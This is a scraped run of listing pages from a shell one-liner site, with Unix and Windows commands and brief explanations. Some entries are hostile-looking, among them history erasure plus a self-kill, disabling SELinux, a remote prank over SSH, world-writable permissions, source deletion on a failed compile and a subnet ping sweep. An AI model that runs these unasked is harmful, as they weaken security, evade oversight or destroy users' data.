etc. Another nice use is if you prepend every "critical" command with "v", then you can test your script by commenting out the actual execution. FOR /f %%g in ('echo %1 ^| iconv -f gbk -t utf-8') DO curl -x proxy:port -u user:pass -d status=%%g -d source="cURL" http://twitter.com/statuses/update.xml Post to twitter via curl, Windows version Aside from curl one will need iconv windows binary since windows lacks a native utf-8 cli interface. In my case I need a proxy in China and iconv to convert gbk status string into utf-8. GnuWin32 is a good choice with loads of coreutils natively ported to Windows "FOR /f" is the solution to pass iconv output to curl. Printing portion of a big file sed -n "$LINE1,${LINE2}p;${LINEA2}q;" "$FILE" If you need to print some portion of a huge file, let's say you want to print from line 200 to 300, you can use this command to print the line from LINE1 to LINE2 of file FILE. dd if=/dev/urandom of=/dev/speaker bs=1 Random Beeps on Your PC Speaker Sends random beeps to your PC-speaker. Think... You can also run it remotely on another computer using SSH and scare its user! Don't forget to run it on your dedicated hosting server and watch sysadmin's action from data-center's live remote cameras! awk 'END {print NR}' /etc/passwd dd if=/dev/urandom of=/dev/dsp Random Beeps on Your Audio Card's Output Sends random sounds to your sound card output (e.g. your speaker). Think... You can also run it remotely on another computer using SSH and scare its user! echo 1+1|bc doing some math... ‹ First < 333 334 335 336 337 > Last › export var1=`ps -A | grep '[u]nique' | cut -d '?' -f 1`; echo${var1/ /}; kill -9 $var1 n/a Functions: cut export grep kill Kill process you don't know the PID of, when pidof and pgrep are not available. This will kill a specific process you don't know the PID of, when pidof and pgrep are not available, for example on OS X. var1 is created so that the whitespace can be trimmed before passing off to kill. join file1.txt file2.txt > file3.txt Functions: join -6 Concatenate lines of to files, one by one apt-get search something | grep specific $ apt-get search firefox | grep gnome-do-plugins-firefox : gnome-do-plugins for firefox gnome-do-plugins : Plugins for GNOME Do Refined repository search replace apt-get with your distro's package manager. Where 'something' is the package name, and 'specific' is what you're specifically looking for. This helps if your query is 2+ words long. :w! shorthand for sudo save python -c "import socket; print '\n'.join(socket.gethostbyname_ex(socket.gethostname())[2])" One-Liner to Display IP Addresses The socket.gethostname() call returns the host name of the computer. The socket.gethostbyname_ex() call returns a list of three items: The host name, the list of aliases for this host, and a list of IP addresses. Recall that Python?s array starts with index 0, the socket.gethostbyname_ex(?)[2] expression refers to the list of IP addresses. Finally, the print statement prints out the IP addresses, one per line. What is my IP address? nawk '{line[NR]=$0} END{for (; NR>=1; NR--){print line[NR]}}' FILENAME reverse-print contents of a file test `uname` = Linux && lsb_release -a || ( test `uname` = SunOS && cat /etc/release || uname -rms ) LSB Version: core-2.0-noarch:core-3.0-noarch:core-2.0-ia32:core-3.0-ia32:desktop-3.1-ia32:desktop-3.1-noarch:graphics-2.0-ia32:graphics-2.0-noarch:graphics-3.1-ia32:graphics-3.1-noarch Distributor ID: SUSE LINUX Description: SUSE Linux Enterprise Server 10 (i586) Codename: n/a Functions: cat test uname Found in comments section works on most Linux flavors. echo 0 >/selinux/enforce just change SELINUX=enforcing to SELINUX=permissive, and you're done. Reboot if you want to prove it. How to Disable SELinux just change SELINUX=enforcing to SELINUX=permissive, and you're done. Reboot if you want to prove it. uname -a get kernel version how long system has been running sudo dmesg detected hardware and boot messages for i in $(file * | grep broken | cut -d : -f 1); do rm $i; done Functions: cut file grep rm remove all dead symbolic links in a directory scp -P 22 /home/svnlabs.txt root@92.178.0.56:/home/svnlabs.txt find ~/Desktop/ \( -regex '.*/\..*' \) -print -exec rm -Rf {} \; maggie:~ root# find ~/Desktop/ \( -regex '.*/\..*' \) -print -exec rm -Rf {} \; ~/Desktop/.DS_Store ~/Desktop/.fseventsd Search for all files that begin with . and delete them. watch -n 1 uptime\;myqladmin --user=<user> --password=<password> --verbose processlist Monitor server load as well as running MySQL processes Useful for monitoring both MySQL and the server load at the same time. ps -ef | grep [j]boss | awk '{print $2}'|xargs kill -9 Removed unneeded grep -v by making the initial grep unable to match itself. find Documents\ and\ Settings -iregex .+\.doc -or -iregex .+\.xls > office.lst This command is useful for archiving or extracting Documents and Settings folder, when working in Linux box with Windows partition (dual boot installation). You have to enter into appropriate directory, of course. ls -l | grep ^l $ ll | grep ^l lrwxrwxrwx 1 4 Aug 26 2008 awk -> gawk* lrwxrwxrwx 1 3 Aug 26 2008 bsh -> ash* lrwxrwxrwx 1 4 Aug 26 2008 csh -> tcsh* Show All Symbolic (Soft) Links Shows all linked file and destinations. The 'ls -l' command lists the files in long (1 file per line) format, and the grep command displays only those lines that starts with an l (lower case L) -- a linked file. declare -i i=0 ; for file in * ; do i=$[$i+1] ; mv "$file" $i; done FOR /L %i IN (1,1,254) DO ping -n 1 10.254.254.%i | FIND /i "Reply">> c:\ipaddresses.txt c:\ipadresses.txt: Reply from 10.254.254.1: bytes=32 time<1ms TTL=255 Reply from 10.254.254.2: bytes=32 time<1ms TTL=255 Reply from 10.254.254.3: bytes=32 time=5ms TTL=255 Reply from 10.254.254.30: bytes=32 time<1ms TTL=128 Reply from 10.254.254.31: bytes=32 time<1ms TTL=128 Reply from 10.254.254.32: bytes=32 time<1ms TTL=128 Reply from 10.254.254.33: bytes=32 time<1ms TTL=128 Reply from 10.254.254.34: bytes=32 time<1ms TTL=128 Reply from 10.254.254.60: bytes=32 time<1ms TTL=64 Reply from 10.254.254.61: bytes=32 time=3ms TTL=60 Reply from 10.254.254.62: bytes=32 time<1ms TTL=64 Reply from 10.254.254.63: bytes=32 time=1ms TTL=64 Reply from 10.254.254.90: bytes=32 time<1ms TTL=128 Reply from 10.254.254.201: bytes=32 time<1ms TTL=128 Reply from 10.254.254.202: bytes=32 time<1ms TTL=128 Reply from 10.254.254.204: bytes=32 time<1ms TTL=128 Reply from 10.254.254.205: bytes=32 time<1ms TTL=128 Reply from 10.254.254.206: bytes=32 time<1ms TTL=128 Reply from 10.254.254.207: bytes=32 time<1ms TTL=128 Reply from 10.254.254.208: bytes=32 time<1ms TTL=128 Reply from 10.254.254.209: bytes=32 time<1ms TTL=128 Reply from 10.254.254.212: bytes=32 time<1ms TTL=128 Reply from 10.254.254.213: bytes=32 time<1ms TTL=128 Reply from 10.254.254.214: bytes=32 time<1ms TTL=128 Reply from 10.254.254.215: bytes=32 time<1ms TTL=128 Reply from 10.254.254.217: bytes=32 time<1ms TTL=64 Reply from 10.254.254.221: bytes=32 time<1ms TTL=128 find all active ip?s in a subnet documents all active ips on a subnet and saves to txt file. grep -v ^# file.conf | grep -v ^$ > new_file.conf remove comment '#' in conf files. sed 's/$//' convert DOS newlines to unix newlines cat x find . -type l | xargs file | grep broken Functions: file find grep xargs ‹ First < 334 335 336 337 338 > Last › sedit() { cp "$*"{,.bk}; which $EDITOR > /dev/null && $EDITOR "$*" || vim "$*"; } Functions: cp vim which Some people put spaces in filenames. Others have an $EDITOR environment variable set. This defaults to vim, but you can use whatever you wish: emacs, nano, ed, butterflies, etc. cat /etc/*issue Find out which version of linux you are running FAIL2BAN=`ps ax | grep fail2ban | grep -v grep | awk {'print $1'}` && if [ -n "$FAIL2BAN" ]; then printf "\n[INFO] Fail2Ban is running and the PID is %s\n\n" $FAIL2BAN; else printf "\n [INFO] Fail2Ban is not running\n\n"; fi [INFO] Fail2Ban is not running or: [INFO] Fail2Ban is running and the PID is 3557 Check if Fail2Ban is Running Check if Fail2Ban is running on the system and alert it with a message in the terminal alias lh='ls -a | egrep "^\."' alias to list hidden files of a folder egrep -in "this|that" *.dat [root@centos64 Desktop]# egrep -in "127.0.0.1" /etc/hosts 4:127.0.0.1 centos64 5:127.0.0.1 localhost grep: find in files grep - Search file for character string Search for one or more strings in one or more files. Examples:- grep that myfile.txt Look for the string ``that'' in the file called ``myfile.txt'' and print out each line that matches. Extended grep search *.dat files for ``this'' or ``that'' case insensitive (-i) and where found print line number (-n) along with the line contents. ls -saltS [dirname] Salty detailed directory listing... It lists files and folder under dirname adding at the beginning of each line the file allocated size in blocks (-s). It also sorts output by file size (-S) from bigger to smaller. Actually the -t option in that precise position does not give any effect... (challenge: can you tell me why?) but of course gives to the ls command some salty taste! :) nice -n0 ls | mpg321 -@- & Functions: ls mpg321 nice play all songs under current directory smoothly as background job vim txt.gz read txt or txt.gz files Works at lest with .gz .bz2 .tar.gz .tar.bz2 Cute, but we already had this figured out when the Linux kids were still slurping down log-sized spliffs in the back of the microbus. put down the joint and rtfm :) alias install='sudo apt-get install' Shorthand to install package in Ubuntu I put this line in my ~/.bashrc file (which I source via ~/.bash_profile). Now, when I need to install a package, I typed *install* instead of the longer version. lwp-dump http://www.boredomsoft.org/ip.php|grep Client cowsay `fortune` | toilet --metal -f term Get colorful fortunes Get colorful fortunes dictated by an ASCII cow. For full enjoyment you'll need to have color setup enabled for your terminal. du -h <Directory> du -h Documents/ 7.6M Documents/ du -ha Documents/ 4.0K Documents/wget-log.gz 4.0K Documents/svndelete.sh.gz 7.6M Documents/webmin_1.500_all.deb.gz du -hac Documents/ 7.6M total Prints the size of Directory in human readable format like KB MB or GB. If you want to see size each files and directories inside the directory use -a option as shown in second output and if you want a total sum then add -c option :) find . -name "*" -print0 | xargs -0 -I {} chmod 777 {} Functions: chmod find xargs This will handle the case that the filename has spaces or other characters that need to be escaped. while read f;do echo "$f";done < <(find .) Read all contents from current directory and display to stdout. wget -O - -q ip.boa.nu Using our beloved wget ls -lAhutr Show the last movie/ebook that you have saw/read This is a simple command, but useful when you don't remember what episode need to see :D for i in `seq 1 100`;do echo;done Sometimes I need to move several blank lines my terminal, I usually use this command, does anybody know a better one? Thanks gnu@robby:~$ cat /etc/debian_version squeeze/sid show debian version work on any debian based GNU/Linux distro The command is too big to fit here. :( Look at the description for the command, in readable form! :) hunterm:~ >>> google bash bash.org: http://www.bash.org/ | http://www.google.com/search?q=bash Functions: at command Search Google from the command line and return the first result. Yep, now you can finally google from the command line! Here's a readable version "for your pleasure"(c): google() { # search the web using google from the commandline # syntax: google google query=$(echo "$*" | sed "s:%:%25:g;s:&:%26:g;s:+:%2b:g;s:;:%3b:g;s: :+:g") data=$(wget -qO - "https://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=$query") title=$(echo "$data" | tr '}' '\n' | sed "s/.*,\"titleNoFormatting//;s/\":\"//;s/\",.*//;s/\\u0026/'/g;s/\\\//g;s/#39\;//g;s/'amp;/\&/g" | head -1) url="$(echo "$data" | tr '}' '\n' | sed 's/.*"url":"//;s/".*//' | head -1)" echo "${title}: ${url} | http://www.google.com/search?q=${query}" } Enjoy :) byobu byobu use sudo apt-get install preload Prefetch like apple devices this application monitors the apps you use most often and load them into memory with their libraries and other dependencies. So now, when you launch Firefox or Thunderbird or OpenOffice, the display is immediate as on Mac. find . -type f -exec chmod 0644 {} \; "Reset" file permissions This command will set the 0644 permissions to all files under your current directory. An alternative version of this command is: find ~/.ssh -type f -exec chmod 0600 {} \; find . -maxdepth 1 -type f -name '*.sh' -o -name '*.txt' ./script.sh ./file.txt Find different filetypes in current directory scp -l username -pw pa33w0rd file.txt 192.168.1.2:/path/to/dir copy `file.txt` to remote server ‹ First < 335 336 337 338 339 > Last › for file in *; do echo $PWD/$file; done awk '{if (NR % 2 == 1) print $0}' file.txt doskey l=dir /OD $* Equivalent of alias in cmd.exe: doskey (macros) doskey is the Windows cmd.exe equivalent of the Unix alias. '$*' means 'all parameters' This example is like alias l='ls -alrt': it will display files from oldest to newest, for one or more directories. doskey /MACROS list macros defined for cmd.exe, like 'alias' list aliases defined for the current Unix shell. kill -9 `ps aux | grep "search_criteria" | awk '{if ($2 != pid) print $2}'` search_criteria = what do you want to kill pid = pid of you dont kill for i in `ls *xml`; do sed -e 's,oldpassword,newpassword,g' $i > $i.2 && mv -f $i.2 $i ; done See a list of ports running alias wordpress='mkdir wordpress && cd wordpress && wget http://wordpress.org/latest.tar.gz && tar -xvzf latest.tar.gz && mv wordpress/* . && rm -rf latest.tar.gz wordpress && cp wp-config-sample.php wp-config.php' Functions: alias cd cp mv rm tar wget Wordpress - download latest, extract, and rename config file. ifconfig | grep "inet [[:alpha:]]\+" | cut -d: -f2 | cut -d' ' -f2 192.168.135.123 Get the IP address of all your network cards. echo > filename sudo wget -c "http://nmap.org/dist/nmap-5.00.tar.bz2" && bzip2 -cd nmap-5.00.tar.bz2 | tar xvf - && cd nmap-5.00 && ./configure && make && sudo make install Functions: bzip2 cd make sudo tar wget Install NMAP 5.0 ,Short and sweet command to do it Just copy and paste the code in your terminal. Note : sudo apt-get for debian versions , change as per your requirement . Source : www.h3manth.com find ~ -name "*.pyc" -exec rm {} \; cleaning after python grep -vf file1 file2 find the difference in 2 files with grep (diff alternative) -f file -v invert-match : invert the sense of matching, to select non matching lines vi ~/.crontab && crontab ~/.crontab Functions: crontab vi this lets you edit a crontab file (which may be used as a backup as well) and insert this into your crontab. this way is especially handy, when multiple users are working on one account (e.g. root) _ff(){ cd /mnt;echo /mnt/*/* |sed 's/ \/mnt\//\&/g' |sed '/'"$1"'/!d'; cd -;} Functions: cd echo sed glob /mnt _ff(){ cd /mnt;echo /mnt/*/* |sed 's/ \/mnt\//\&/g'|sed '/'"$1"'/!d'; cd -;} ff(){ case $# in 0)echo "usage: ff glob [sed-cmds] [--|var-name]";;1)_ff $1 |sed = ;;[2-9])case $2 in --) _ff $1 |less -SN;;*) _ff $1 |sed -n ''"$2"''|tr '\n' ' ' \|sed 's/.*/export '"$3"'=\"&/;s/=\" /=\"/;s/ $/\"/' > $HOME/.ff;case $# in 3). $HOME/.ff;;esac;sed 's/export .*=\"/\$'"$3"' = \"/;' $HOME/.ff;\;;esac;;esac;} v(){ local a=$HOME;sed 's/export /less -n \$/;s/=.*//' $a/.ff > $a/.v ;. $a/.v ;} sudo /etc/init.d/networking restart restart network manager when I turn on my wifi, I always have to put in this command in order to make my laptop notice the wifi. rm -rf `find . -type f -name *.htm` mkdir() { /bin/mkdir $@ && eval cd "\$$#"; } Functions: cd eval mkdir Go to the created directory after using mkdir mount -t vfat /dev/sdx1 /media/psp/ -7 Creates and Mounts the PSP partition to the folder /media/psp/ savesIFS=$IFS;IFS=$(echo -en "\n\b"); for items in `ls *.7z`; do 7zr e $items ; done; IFS=$saveIFS df -H Listing the Size and usage of the connected Hard Disks ps aux | grep -i firefox | grep -v grep | awk '{print $2}' | xargs -t -i kill -9 {} kill -9 7491 kill -9 7506 kill -9 7434 kill -9 7532 This is a nice way to kill processes.. the example below is for firefox!!! substitute firefox for whatever the process name is... This is a nice way to kill processes.. the example here is for firefox!!! substitute firefox for whatever the process name is... curl -s -u user:password http://twitter.com/statuses/friends_timeline.rss | grep title | sed -ne 's/<\/*title>//gp' | head -n 4 | say -v Bruce Functions: grep head sed Speak the last 3 tweets on Mac OS You need curl.. and a Mac of course. scp /home/svnlabs.txt root@92.178.0.56:/home/ nslookup {ip} sudo dpkg -i packagename.deb Install a deb package Install a deb package you have downloaded (synaptic has to be closed). (dpkg-dev needs to be installed) After that you may have to run following: sudo apt-get install -f (that should fix any dependency problems) I am using ubuntu linux ‹ First < 336 337 338 339 340 > Last › Create a directory called "dirname" and navigate into it. function command_not_found_handle(){ apt-get install $( apt-file search "$1" | grep bin | grep -w "$1" | head -n1 | cut -d ':' -f 1 ) && $* ; } juluan@juluan-desktop ~ 21:56:04 [130] $ scribus Lecture des listes de paquets... Fait Construction de l'arbre des d?pendances Lecture des informations d'?tat... Fait Les paquets suppl?mentaires suivants seront install?s?: blt python-tk Paquets sugg?r?s?: blt-demo tix python-tk-dbg scribus-template scribus-doc Les NOUVEAUX paquets suivants seront install?s?: blt python-tk scribus 0 mis ? jour, 3 nouvellement install?s, 0 ? enlever et 3 non mis ? jour. Il est n?cessaire de prendre 11,5Mo dans les archives. Apr?s cette op?ration, 32,2Mo d'espace disque suppl?mentaires seront utilis?s. Souhaitez-vous continuer [O/n]?? Functions: cut grep head install Install and run when a command is not found Work only with bash and apt-file installed. When it found an unknow command, it will search for a file named "scribus" (in my example), in a folder named bin and then install the corresponding package. After installation, it will run the command. Usefull juste after reinstalling linux and missing lot of package. Count a number of files (only files, not dirs) in a directory recursevely Thanks for the comments watch '/home/mm/bash/keypress.sh |/home/mm/bash/evento.sh' alarm central using keyboard as zone inputs ( output spoken out aloud ) evento.sh needed for awk syntax the aplay command makes a camera sound. It takes a picture of who looked at the display # evento.sh: deteta evento e fala awk '/e/{print "emergencia"}' | espeak -v pt -stdin aplay -q /home/mm/bash/camera.wav # -q inibe verbose do comand aplay wget -U Mozilla http://example.com/foo.tar.gz wget - 403 Forbidden Error for i in `find .`; do [ -d $i ] && chmod 755 $i || chmod 644 $i; done vifind() { vi `find . -name "$1"` } Search for the file and open in vi editor. dd if=/dev/zero bs=1M | ssh somesite dd of=/dev/null dd and ssh waste the band width help Bash help for bash commands don't use man use help find . -name "-help" -exec mv {} help.txt \; algo.txt -help $ mv '-help' help.txt mv: opci?n inv?lida -- h Pruebe `mv --help' para m?s informaci?n. $ find . -name "-help" -exec mv {} help.txt \; algo.txt help.txt renombrar un archivo que inicia con guion ps auxwww | grep outofcontrolprocess | awk '{print $9}' | xargs kill -9 <Ctrl+o> $ ssh <Ctrl+o> usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec] $ service <Ctrl+o> Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ] Type out the command and simply press to see the list of options for that command without having to type --help. unzip -l <filename> Length Date Time Name -------- ---- ---- ---- -------- ------- List files contained within a zip archive This is useful for working out whether the file that you are unzipping is an evil zip file which will create 200 new files in your current direction man ettercap ettercap manual A very interesting man page! head -n 20 <filename> | tail sort -u filename > newfilename Read, sort and confirm uniqueness of entries in files and directories For users looking to simplify management of large entries in files and directories, this command is the key to fun and simplicity. Using the power sort, only a couple of seconds are necessary to accomplish what would take minutes or hours in ?standard? client applications. tail -n 4 | head -n 1 tail -n X | head -n 1 prints a specific line, where X is the line number killall -9 wineserver Kill a naughty process Nice for ie6 for linux Complete Distro information Get the complete distro information from shell prompt like distributor ID,code name etc. export HISTFILE=/dev/null && kill -9 $$ Functions: export kill gcc -Wall -Werror -o prog prog.c || rm -f prog.c Functions: gcc rm Klingon programming; weak code must die ls *.c | while read F; do gcc -Wall -o `echo $F | cut -d . -f 1 - ` $F; done Functions: cut gcc ls read Compile all C files in a directory Compile *.c files with "gcc -Wall" in actual directory, using as output file the file name without extension. sh-3.2# Start a new shell as root Opens a new shell as root. Useful if you want to run a lot of commands as superuser without needing to sudo each of them. rpm -qa kernel sudo -i; add-apt-repository ppa:webupd8team/sublime-text-2; apt-get update; apt-get install sublime-text-2 installing sublime-text-2 on Ubuntu 10.04 This is the first version of the Sublime Text 2 packaging so there might be bugs. ‹ First < 337 338 339 340 341 > Last › for file in * .*; do echo $PWD/$file; done Also lists hidden files, current dir and topdir. perfmon.msc Performance Monitor: Windows 2000, XP Starts the Performance Monitor console that monitors the system load. It will help to observe and test the system or parts of the system and also help to find any problems. /etc/init.d/cron restart && tail -100 /var/log/syslog Check syntax of cron files (by restarting the service and checking the logs) aptitude search NAME $ aptitude search screen i screen - terminal multiplexor with VT100/ANSI t p screen-profiles - package renamed -> byobu p screen-profiles-extras - package renamed -> byobu i screen-resolution-extra - Extension for the GNOME screen resolut p screenbin - use Amazon EC2 to host a shared screen Search for available software on a debian package system (Ubuntu) The legend in the first column: i = installed p = installable eudcedit Private Character Editor (Windows 2000+XP) Create unique characters (up to 6400) used in the font library. curl -f -O http://pcbsd.fastbull.org/7.0.2/i386/PCBSD7.0.2-x86-DVD.iso % Total % Received % Xferd Average Speed Time Time Time Current download a specific file download a specific file with -f to not display errors and -O to write output to a file named as the remote file. lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?ninatodorovic&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2 svn co http://svn.ellislab.com/CodeIgniter/trunk/user_guide This will check out the up-to-date codeigniter user guide from subversion. read c; while [ -n "$c" ]; do clear; echo -e "$c = "$(echo "$c" |bc -l)"\n"; read c; done Functions: bc echo read Simple calculus Exit with empty line [YAK@myserv]$ pwd /path/to/directory [YAK@myserv]$ cd /home/YAK Just take me to home directory Just type 2 characters and enter, you will be back. Kill all processes matching a given name This command kills all processes with 'SomeCommand' in the process name. There are other more elegant ways to extract the process names from ps but they are hard to remember and not portable across platforms. Use this command with caution as you could accidentally kill other matching processes! xargs is particularly handy in this case because it makes it easy to feed the process IDs to kill and it also ensures that you don't try to feed too many PIDs to kill at once and overflow the command-line buffer. Note that if you are attempting to kill many thousands of runaway processes at once you should use 'kill -9'. Otherwise the system will try to bring each process into memory before killing it and you could run out of memory. Typically when you want to kill many processes at once it is because you are already in a low memory situation so if you don't 'kill -9' you will make things worse -8 find ./wp-content/themes/rotce2009/ -name '*.php' -type f | xargs sed -i 's/<? /<?php /g' Altera texto dentro dos arquivos retornados pelo comando 'find' (find and replacing strings on all files in directory) Esse comando procura por arquivos php que que iniciem com ' echo tmp%date:~4,2%-%date:~7,2%-%date:~10,4%_%time% tmp25-05-2010_13:29:27.29 tmp25-05-2010_13:33:51.71 (windows) Append date and Time to a file name use ren temp.txt instead of echo Useful for if you want to create a log file every now and again or wish to record file names with date and time. You can't use the / for file names. so this replaces the / with a - Windows only ls -RAx | grep "svn:$" | sed -e "s/svn:/svn/" | xargs rm -fr Functions: grep ls rm sed xargs sed -i -e 's/^#$//g' /path/to/file Remove "#' from configuration files. nautilus `pwd` #!/bin/sh for dir in `ls -A | grep -v .sh`; do chown -R $dir:$dir $dir done Functions: chown dir grep Chown script which any_path/a_command.sh | sed "s|^./|$(pwd)|" /absolute_path/any_path/a_command.sh Functions: sed which This works in multiple unixes, not only linux, for different paths. On solaris, if you do not have which, you can use: ksh whence -p anypath/a_command.sh | sed "s|^./|$(pwd)|" ksh whence -p diff3 -a file1 file2 file3 ==== 1:2c two 2:2c two - 2 3:2c two -22 Functions: diff3 compare three file It takes a hunk and shows the different between the three file. Useful when you want to compare two different changed file which from the same base file. (use emacs ediff3, eyecandy and more useful if you want to merge them from anywhere to anywhere) <ctrl+shift+v> to paste the copied text from clip board generally we cannot use control + v to paste text copied in clipboard but by pressing control and holding it press shift and v cat /dev/null >filename cat /dev/null >err.log emptying a file with this command you can empty file cat /dev/scd0 > ~/audio_image.iso Creating ISO Images from Audio CD you should umount /dev/cdrom before using this cli sudo ssh -Y remoteuser@remotehost sudo wireshark Functions: ssh sudo This allows you to display the wireshark program running on remote pc to your local pc. find . |while read f;do echo "$f";done Read all contents from current directory and display it on stdout. ‹ First < 338 339 340 341 342 > Last › ps -e List running procceses Run the previous command with sudo I often forget to type sudo before a command that needs it. This is the quickest way to rerun the command prefixed by sudo. sudo sh -c "apt-get update;apt-get dist-upgrade;apt-get autoremove;apt-get autoclean" Clean upgrade of Ubuntu Gets you the latest of everything, and removes any remaining junk. The "sh -c" part is so that you'll only run a single sh command, so you won't get asked more than once for the password. telnet fics.freechess.org 5000 Telnet to Free Internet Chess Server mv `find .zip ./` . Move all files with common extension to current directory This is useful if you have a collection of files in folders (for example, a bunch of .zip files that are contained in folders) and you want to move them all to a common folder. tar -cvf /dev/null . | while read i; do ls -l $i; done Functions: ls read tar ls -lR with a full path I find the ouput of ls -lR to be un-satisfying (why is the path data up there?) and find syntax to be awkward. Running 'du -a' means you will have likely to trim-off filesize data before feeding filenames to the next step in the pipe. ls -a | sed "s#^#${PWD}/#" [bbbco@bbbco-dt ~]$ ls -a | sed "s#^#${PWD}/#" /home/bbbco/. /home/bbbco/.. /home/bbbco/2011-09-01-00-33-02.073-VirtualBox-2934.log /home/bbbco/2011-09-10-09-49-57.004-VirtualBox-2716.log /home/bbbco/.adobe /home/bbbco/.bash_history /home/bbbco/.bash_logout /home/bbbco/.bash_profile /home/bbbco/.bashrc Use the -a flag to display all files, including hidden files. If you just want to display regular files, use a -1 (yes, that is the number one). Got this by RTFM and adding some sed magic. [bbbco@bbbco-dt ~]$ ls -a | sed "s#^#${PWD}/#" /home/bbbco/. /home/bbbco/.. /home/bbbco/2011-09-01-00-33-02.073-VirtualBox-2934.log /home/bbbco/2011-09-10-09-49-57.004-VirtualBox-2716.log /home/bbbco/.adobe /home/bbbco/.bash_history /home/bbbco/.bash_logout /home/bbbco/.bash_profile /home/bbbco/.bashrc [bbbco@bbbco-dt ~]$ ls -1 | sed "s#^#${PWD}/#" /home/bbbco/cookies.txt /home/bbbco/Desktop /home/bbbco/Documents /home/bbbco/Downloads ls /home/user | xargs ls -lhR | less List all file and directory on user's home with details echo $BASH_VERSION $ echo $BASH_VERSION 3.2.17(1)-release Which Version Is My Bash Shell? This is one way to find out. who am i get current tty name http://www.thegeekstuff.com/2009/03/4-ways-to-identify-who-is-logged-in-on-your-linux-system/ unace x [file] extract .ace file extracting .ace files yay alias h='history' ............ 448 df 449 ./wlan111 450 mc 451 htop 452 history 453 activate modulos/wine-1.1.6.lzm 454 wine POV-Ray/bin/pvengine.exe 455 df 456 umount /mnt/myfs 457 xfs_repair /dev/loop/24 458 umount /mnt/myfs1 459 xfs_repair /dev/loop/25 460 dmesg ........... it's an alias to summon the command history only for lazy people well for busy too typing history it's a long way but typing only h it's my way it works in whatever distro or OSes or shells that you use, you know, only for easyness :) netstat -taupe Informations sur les connexions reseau Affiche des infos detaillees sur vos connexions reseaux. Port en ?coute, protocole, paquets, adresses, ustilisateur, PID etc... find . -exec grep -l "sample" {} \; Will find all files containing "sample" in the current directory and in the directories below. netstat -luntp find /tank -iname thumbs.db -print0 | xargs -0 rm Thumbs.dbを探し出して全部消す ファイルサーバーの掃除用 (($RANDOM%6)) || echo 'hello world!' ramdomize echo 'hello world!' ramdomize the execution of the command echo 'hello world!' rm -rf ~/.local/share/Trash/files/* -9 Empty Trash in Gnome When the Trash Can Refuses to Clear Empty the trash when the icon stay in the non-empty state source: http://www.linuxquestions.org/blog/phoenixrising-455874/2009/3/3/how-to-empty-trash-in-gnome-when-the-trash-can-refuses-to-clear-1660/ seth@Laptop:~$ ls -l | grep ^d | sed 's:.*\ ::g' Downloads Pictures Videos VMs block qBT_dir warlord xp evil_stuff seth@Laptop:~$ Normally, if you just want to see directories you'd use brianmuckian's command 'ls -d *\', but I ran into problems trying to use that command in my script because there are often multiple directories per line. If you need to script something with directories and want to guarantee that there is only one entry per line, this is the fastest way i know cd /etc/init.d && sudo ./apache2 start * Starting web server apache2 [ OK ] apache , how to avoid bugs and start directly the server This command is designed in order to avoid this error : /etc/init.d/apache2 force-reload * Reloading web server config apache2 httpd not running, trying to start (13)Permission denied: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down Unable to open logs [fail] <ctrl-shift-t> previously closed tab will reopen undo tab close in firefox This is really not cli but I think it's neat. alias b='cd -' Brings you back to previous directory lynx http://shell-fu.org/ Visit another command line gōngfu site Today I learned that commandlinefu.com is not a alone in its conquest for further the knowledge about the command line. Allow me to introduce you to http://shell-fu.org/ ‹ First < 339 340 341 342 343 > Last › for i in `seq 100`;do mkdir f{1..100} touch myfile$i mv myfile$i f$i;done mkdir some file and mv some file Functions: mkdir mv touch history | grep ssh Search The History for a Particular Command (ssh in this case) After seeing the command you wish to repeat, just invoke it using the ! syntax. find . -print -exec chmod 777 {} \; sometimes if directories are too deep, chmod -R fails... in those cases, a find comes in most handy :) for host in host1 host2 host3; do echo -n $host:; ssh $host uptime; done; Functions: echo host ssh strings /boot/kernel-file | grep 2.6 2.6.28-gentoo-r5 (root@livecd) #1 SMP Fri May 29 17:47:49 IST 2009 easiest way to get kernel version without uname recently some in the #linux shared this. to find out the kernel version name from the binary without using uname unalias $ alias testing="echo testing" $ testing testing $ unalias testing bash: testing: command not found unalias previously aliased command unalias a previously aliased command dd if=file1 of=file2 seek=1 bs=$(stat -c%s file2) Functions: dd stat 将一个文件拷贝到另一个文件的末尾 ~<press tab twice> List all system users rpm -qf /etc/*-release $ rpm -qf /etc/*-release fedora-release-12-2.noarch This should work on any RPM-based distribution. It's more reliable than trying to parse the content of the files. find -depth . | (while read FULLPATH; do BASENAME=`basename "${FULLPATH}"`; DIRNAME=`dirname "${FULLPATH}"`; mv "${DIRNAME}/${BASENAME}" "${DIRNAME}/${BASENAME// /_}"; done) Replace spaces with '_' in filenames Takes filenames and directory names and replace space to '_'. killall -9 <processname> Kills process by name rush> processes.filter(:cmdline => /mc/).kill It's easy to understand and remember. Need ruby and rush to do this. dd if=yourimage.img of=/dev/sdb1 Burn an image to a USB stick where /dev/sdb1 is the name of your usb device create or empty a file cat /dev/hda > ~/hda.iso cat /dev/dsp > /dev/dsp Work music Place microphone near speaker and enjoy */15 * * * * /path/to/command Run a cron job every 15 mins past the hour Instead of using: 0,15,30,45 * * * * /path/to/command sudo /Applications/Utilities/Adobe\ Utilities.localized/Adobe\ Updater5/Adobe\ Updater.app/Contents/MacOS/Adobe\ Updater Adobe Updater Crashes on Mac OS X Fix adobe updater keeps popping up. (normal update fails, probably due to insufficient rights) (src: http://aricsblog.blogspot.com/2007/12/adobe-updater-crashes-on-mac-os-x-and.html) alias dfr='df;free' root@nimblex:~# dfr Tell us quantities of disk usage memory and swap used in a moment done A short way to give us relevant report in a moment done about quantities on disk usage, memory and swap in our Linux Systems. http://pastebin.com/XCnEFJF6 universal extractor knows more extension and checks MIME types also, if file extension not matched apachectl restart Restart web server Convert UNIX time to human readable date awk 'BEGIN{print strftime("%c",1238387636)}' if [ "${vote}" = "down" ]; then echo leave comment; fi I voted down because <reason_for_voting_down> -10 Leave a comment when voting down.. I think it would be wise if anyone voting down left a comment indicating the reason for that action. Don't keep it to yourself. Thanks. iptables -A OUTPUT www.baidu.com -p tcp -j REJECT --reject-with tcp-reset stop children visiting sex sites:www.baidu.com To save all rules so that they are not lost in case of a server reboot: /etc/init.d/iptables save ‹ First < 340 341 342 343 344 > Last › init 6 Functions: init sun solaris 9 complete restart init states on solaris are numbered init 0 